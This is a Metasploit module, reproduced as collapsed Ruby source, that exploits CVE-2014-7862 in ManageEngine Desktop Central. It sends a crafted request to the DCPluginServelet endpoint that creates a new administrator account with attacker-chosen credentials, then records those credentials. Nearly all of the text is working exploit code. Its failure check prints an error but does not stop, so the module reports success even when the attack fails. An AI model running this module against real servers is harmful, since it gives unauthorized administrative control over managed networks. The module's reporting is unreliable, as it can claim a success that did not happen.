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ManageEngine Desktop Central Administrator Account Creation
This Metasploit module exploits an administrator account creation vulnerability in Desktop Central from v7 onwards by sending a crafted request to DCPluginServelet. It has been tested in several versions of Desktop Central (including MSP) from v7 onwards.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'ManageEngine Desktop Central Administrator Account Creation', 'Description' => %q{ This module exploits an administrator account creation vulnerability in Desktop Central from v7 onwards by sending a crafted request to DCPluginServelet. It has been tested in several versions of Desktop Central (including MSP) from v7 onwards. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2014-7862'], ['OSVDB', '116554'], ['URL', 'https://seclists.org/fulldisclosure/2015/Jan/2'], ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_dc9_admin.txt'], ], 'DisclosureDate' => '2014-12-31' ) ) register_options( [ OptPort.new('RPORT', [true, 'The target port', 8020]), OptString.new('TARGETURI', [ true, 'ManageEngine Desktop Central URI', '/']), OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']), OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']), OptString.new('EMAIL', [true, 'The email for the new admin account', '[email protected]']) ] ) end def run # Generate password hash salt = Time.now.to_i.to_s password_encoded = Rex::Text.encode_base64([Rex::Text.md5(datastore['PASSWORD'] + salt)].pack('H*')) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/servlets/DCPluginServelet'), 'method' => 'GET', 'vars_get' => { 'action' => 'addPlugInUser', 'role' => 'DCAdmin', 'userName' => datastore['USERNAME'], 'email' => datastore['EMAIL'], 'phNumber' => Rex::Text.rand_text_numeric(6), 'password' => password_encoded, 'salt' => salt, 'createdtime' => salt } }) # Yes, "sucess" is really misspelt, as is "Servelet" ... ! unless res && res.code == 200 && res.body && res.body.to_s =~ /sucess/ print_error('Administrator account creation failed') end print_good("Created Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}") connection_details = { module_fullname: fullname, username: datastore['USERNAME'], private_data: datastore['PASSWORD'], private_type: :password, workspace_id: myworkspace_id, access_level: 'Administrator', status: Metasploit::Model::Login::Status::UNTRIED }.merge(service_details) create_credential_and_login(connection_details) endend